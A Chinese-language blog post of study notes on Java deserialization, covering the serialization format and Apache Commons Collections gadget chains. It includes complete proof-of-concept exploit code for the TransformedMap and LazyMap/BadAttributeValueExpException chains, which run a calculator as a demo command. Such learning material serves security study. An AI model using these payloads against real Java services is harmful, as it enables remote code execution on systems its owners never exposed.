admin

Java反序列化——笔记
java序列化基础在很多语言中都提供了对象序列化与反序列化的支持,例如php中的将对象序列化为类似json的字节流...
扫描右侧二维码阅读全文
12
2020/02

Java反序列化——笔记

java序列化基础

在很多语言中都提供了对象序列化与反序列化的支持,例如php中的将对象序列化为类似json的字节流,在java中同样存在序列化与反序列化。

Java序列化是指把java对象转换为字节序列的过程便于保存在内存、文件、数据库中,java.io.ObjectOutputStream类的writeObject()方法可以实现序列化。

序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。主要应用在以下场景:
HTTP:多平台之间的通信,管理等
RMI:是 Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。
JMX:JMX 是一套标准的代理和服务,用户可以在任何 Java 应用程序中使用这些代理和服务实现管理,中间件软件 WebLogic 的管理页面就是基于 JMX 开发的,而 JBoss 则整个系统都基于 JMX 构架。

Java反序列化是指把字节序列恢复为java对象的过程,java.io.ObjectInputStream类的readObject()方法用于反序列化。

序列化的满足条件:

  1. 该类必须实现java.io.Serializable接口
  2. serialVersionUID 值必须一致

序列化:
63106926.png
63172735.png想·想··

  • 0xaced:魔术头
  • 0x005:版本号
  • 0x73 对象类型标识符
  • 0x72 类描述符标识
  • 0x0004 类名长度

其后即是类名名称以及属性的名称
66483411.png
各种标识符可在java.io.ObjectStreamConstants类中查看
66571102.png
由此可见序列化后的格式和PHP是有些相似的

反序列化:
48649965.png在反序列化中,使用readObject()方法来反序列化对象,可以重写实现了Serializable接口的readObject()方法,来执行自定义的代码
User.java:

import java.io.IOException;
import java.io.Serializable;

public class User implements Serializable {
    public Integer id;
    public String name;
    public void Hello(){
        System.out.println("hello");
    }

    //重写readObject方法,实现自定义
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        //调用默认的readObject方法
        in.defaultReadObject();
        //自定义内容
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");

    }


}

在反序列化过程中,可以发现成功执行了我们自定义的内容
49830576.png
对Serializable对象反序列化时,并不会调用任何构造函数 ,因此Serializable类无需默认构造函数,但是当Serializable类的父类没有实现Serializable接口时,反序列化过程会调用父类的默认构造函数,因此该父类必需有默认构造函数,否则会抛异常。

java.io.Externalizable

java.io.Externalizablejava.io.Serializable几乎一样,只是java.io.Externalizable接口定义了writeExternalreadExternal方法需要序列化和反序列化的类实现,其余的和java.io.Serializable并无差别

Apache Commons Collections反序列化

Apache Commons Collections是Apache Commons的组件,它们是从Java API派生而来的,并为Java语言提供了组件体系结构。 Commons-Collections试图通过提供新的接口,实现和实用程序来构建JDK类。
Apache Commons包应该是Java中使用最广发的工具包,很多框架都依赖于这组工具包中的一部分,它提供了我们常用的一些编程需要,但是JDK没能提供的机能,最大化的减少重复代码的编写。
2015年11月6日FoxGlove Security安全团队的@breenmachine发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版

InvokerTransformer

InvokerTransformer类中,其构造方法接受方法名,方法的参数类型以及参数的内容,其中transform()方法,接收一个Object对象,方法中可以使用反射调用任意的函数。在java中需要使用对象->方法或者类->静态方法调用。

40375169.png

看下exp:


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ApacheCommon {
    public static void main(String[] args) throws Exception {

        //执行的命令
        String cmd = "open -a Calculator.app";
        
        Transformer[] transformers = new Transformer[]{
                //传入Runtime类返回一个常量
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法然后在反射调用getRuntime返回Runtime.getRuntime
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                        ),
                //反射调用invoke方法返回一个实例化对象Runtime
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}

                        ),
                //反射调用exec方法执行命令
                new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{cmd})


        };
        //
        Transformer transformer =new ChainedTransformer(transformers);
        transformer.transform(null);


    }
}

调用链:
48488402.png
ChainedTransformer.transform:
58802789.png
这个类会在实例化时传入一个Transformer的数组,然后循环调用每个Transformertransform()方法并返回结果作为下一次调用的参数

59332184.png
第一次调用ConstantTransformertransform()方法,该方法会返回一个常量object对象
59296150.png
调用后object就是一个java.lang.Runtime
59482336.png

第二次进入到InvokerTransformer返回Runtime.getRuntime()静态方法
60007461.png

60123179.png
第二次进入到InvokerTransformer通过反射invoke方法返回了Runtime的实例化对象
60223779.png
第三次的执行结果就相当于:Runtime.getRuntime().exec(cmd)
60313960.png

60551927.png
60559941.png

攻击链——TransformedMap

TransformedMap类中的decoratedecorateTransform方法会返回一个TransformedMap实例化对象
42919114.png
在创建TransformedMap对象时可以传入Transformer对象参数,在该类方法中的transformKey()transformValue()checkSetValue中调用了transform()方法
执行了命令执行的调用链

43376594.png
43271997.png
在此类的父类中有一个MapEntry类,其中调用了checkSetValue
57547302.png

通过上面的图,在对map进行put/puAll/checkSetValue操作时会触发命令执行。
如果想要进行反序列化的执行,还需要找到一个符合以下条件的类:

  1. 重写了readObject()方法的类
  2. readObject()方法中对map有执行put/puAll/checkSetValue的操作

在jdk1.7中存在sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMapMapEntrysetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

image-20191220181251898
完整exp:

public class CommonsCollectionsTest {

    public static void main(String[] args) {
        String cmd = "open -a Calculator.app";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

//        // 遍历Map元素,并调用setValue方法
//        for (Object obj : transformedMap.entrySet()) {
//            Map.Entry entry = (Map.Entry) obj;
//
//            // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
//            entry.setValue("test");
//        }
//
////        transformedMap.put("v1", "v2");// 执行put也会触发transform

        try {
            // 获取AnnotationInvocationHandler类对象
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

            // 获取AnnotationInvocationHandler类的构造方法
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

            // 设置构造方法的访问权限
            constructor.setAccessible(true);

            // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
            // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
            Object instance = constructor.newInstance(Target.class, transformedMap);

            // 创建用于存储payload的二进制输出流对象
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            // 创建Java对象序列化输出流对象
            ObjectOutputStream out = new ObjectOutputStream(baos);

            // 序列化AnnotationInvocationHandler类
            out.writeObject(instance);
            out.flush();
            out.close();

            // 获取序列化的二进制数组
            byte[] bytes = baos.toByteArray();

            // 输出序列化的二进制数组
            System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));

            // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

            // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
            ObjectInputStream in = new ObjectInputStream(bais);

            // 模拟远程的反序列化过程
            in.readObject();

            // 关闭ObjectInputStream输入流
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

From:https://javasec.org/javase/JavaDeserialization/Collections.html

攻击链——LazyMap

LazyMap类中接收MapTransformer参数,返回一个Map实例化对象
65643715.png

该类中的get方法中调用了transform方法
65796412.png
接下来就是寻找哪里可以调用此类的get方法。
TiedMapEntry类的成员参数map可以接收一个Map对象,并且该类的toString方法中调用了getValue方法。
getValue方法中则调用了mapget方法。

66062388.png
66076598.png虽然toString方法会在输出类的实例化时自动调用,但开发中很少使用,所以找到一个可以调用此类toString方法的类:BadAttributeValueExpException
此类中的readObject方法中直接调用了valObjtoString方法,valObj对象来自于val成员参数
67548019.png

利用流程:

  1. 创建TransformerChain命令执行对象
  2. 创建LazyMap对象,传入TransformerChain命令执行对象
  3. 创建TiedMapEntry对象,传入LazyMap对象
  4. 创建BadAttributeValueExpException对象,将val参数赋值为TiedMapEntry对象

exp:

    
public class ApacheCommon {
    public static void main(String[] args) throws Exception {

        //执行的命令
        String cmd = "open -a Calculator.app";
        Transformer[] transformers = new Transformer[]{
                //传入Runtime类返回一个常量
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法然后在反射调用getRuntime返回Runtime.getRuntime
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                        ),
                //反射调用invoke方法返回一个实例化对象Runtime
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}

                        ),
                //反射调用exec方法执行命令
                new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{cmd})



        };
        //创建ChainedTransformer调用链对象
        Transformer transformerChain =new ChainedTransformer(transformers);
        //创建Map对象
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "123456");
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

        // val是私有变量,所以利用下面方法进行赋值
        Field valfield = poc.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(poc, entry);

        File f = new File("poc.txt");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();



    }
}

参考

https://javasec.org/javase/JavaDeserialization/Serialization.html
https://www.smi1e.top/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e5%ad%a6%e4%b9%a0%e4%b9%8bapache-commons-collections/

Last modification:February 13th, 2020 at 12:04 am
If you think my article is useful to you, please feel free to appreciate

Leave a Comment